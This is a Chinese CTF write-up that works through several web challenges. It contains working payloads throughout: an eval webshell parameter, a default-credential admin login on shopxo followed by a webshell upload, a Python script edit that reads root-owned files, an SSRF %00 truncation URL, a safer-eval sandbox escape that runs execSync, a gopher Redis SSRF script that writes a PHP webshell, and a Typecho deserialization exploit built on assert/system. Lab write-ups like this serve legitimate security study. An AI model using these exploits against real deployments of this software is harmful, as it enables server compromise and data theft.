菜逼只能赛后复现
Base64后即可rec,可以读文件,但不知道flag文件位置
看一下phpinfo 命令执行的函数都给ban完了
用蚁剑链接?Ginkgo=ZXZhbCgkX1BPU1RbY21kXSk7
连接成功之后根目录有readflag,和flag
那就是要执行readflag文件
PHP 7.0-7.3 disable_functions bypasss
直接打
改一下命令就行
Exp要传到/tmp 目录 别的没权限
页面去包含执行
和这个基本差不多渗透测试|shopxo后台全版本获取shell复现
打开是个商城有登录注册 搜索啥的,但还有个后台/admin.php,默认密码就能登录。
账号admin 密码shopxo
下载这个默认主题
挂马到default_static_ 目录,然后主题安装那上传,访问/public/static/index/default/exp.php
蚁剑连接
暗示要root权限
有个sh文件,
有root权限,所以里面的py脚本也以root权限执行的
加入这两行代码读取内容写道/flag.hint
ff = io.open("/root/flag", "rb+")
f.write(str(ff.read()))
sh auto.sh运行,然后/flag.hint里就有flag了
通过%00截断可以让get_headers()请求到错误的主机
点一下链接抓包看一下
/?url=http://127.0.0.123%00www.ctfhub.com
/version看一下版本
https://github.com/commenthol/safer-eval/issues/10直接用文章中的PoC
再有就是这段代码中
传入一个delay和原先定义的60000进行比较。大的值复制给delay
然后作为timeout的值传入,到时间进入下一个路由
但是传入的代码执行不超时6秒的话,就不能进去/eval执行沙盒逃逸
delay传入4294967296。造成settimeout设置为1.
Post传入
e=(function () {const process = clearImmediate.constructor(“return process;”)();return process.mainModule.require(“child_process”).execSync(“cat /flag”).toString()})()
访问?secret
给了ip可能是ssrf?BUU惯例。IP+1就是靶机
Bp爆破下端口 线程要改一下,不然429
6379是Redis默认端口
https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
用文章里的exp 改一下ip
import urllib
protocol="gopher://"
ip="173.11.248.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
打上去就有webshell了
还可以用gophper-redis-auth这个工具
https://github.com/LS95/gopher-redis-auth
看大佬博客用的是这个,但我自己用没成功。。。。。
?url=173.11.248.11/shell.php?cmd=system(‘cat$IFS$9/flag’);show_source(’/flag’);highlight_file(’/flag’)这三种都行这里不能有空格 不然会Bad Request
那就看看源码其实考的是typecho_反序列化漏洞
详细的审计和复现(好几个,可能内容有重复):
typecho老版本的反序列化研究
[漏洞复现]typecho_v1.0.14反序列化漏洞
typecho反序列化漏洞复现
Typecho-反序列化漏洞学习
【漏洞复现】typecho1.1反序列化漏洞
改一下命令直接打就行,finish参数这里不能用,用start
class Typecho_Feed{
private $_type;
private $_items = array();
public function __construct(){
$this->_type = "RSS 2.0";
$this->_items = array(
array(
"title" => "test",
"link" => "test",
"data" => "20190430",
"author" => new Typecho_Request(),
),
);
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_params = array(
"screenName" => "eval('system(\'cat /flag\');exit;')",
);
$this->_filter = array("assert");
}
}
$a = new Typecho_Feed();
$c = array(
"adapter" => $a,
"prefix" => "test",
);
echo base64_encode(serialize($c));
https://www.gem-love.com/ctf/2361.html
https://guokeya.github.io/post/EWi0aHBCb/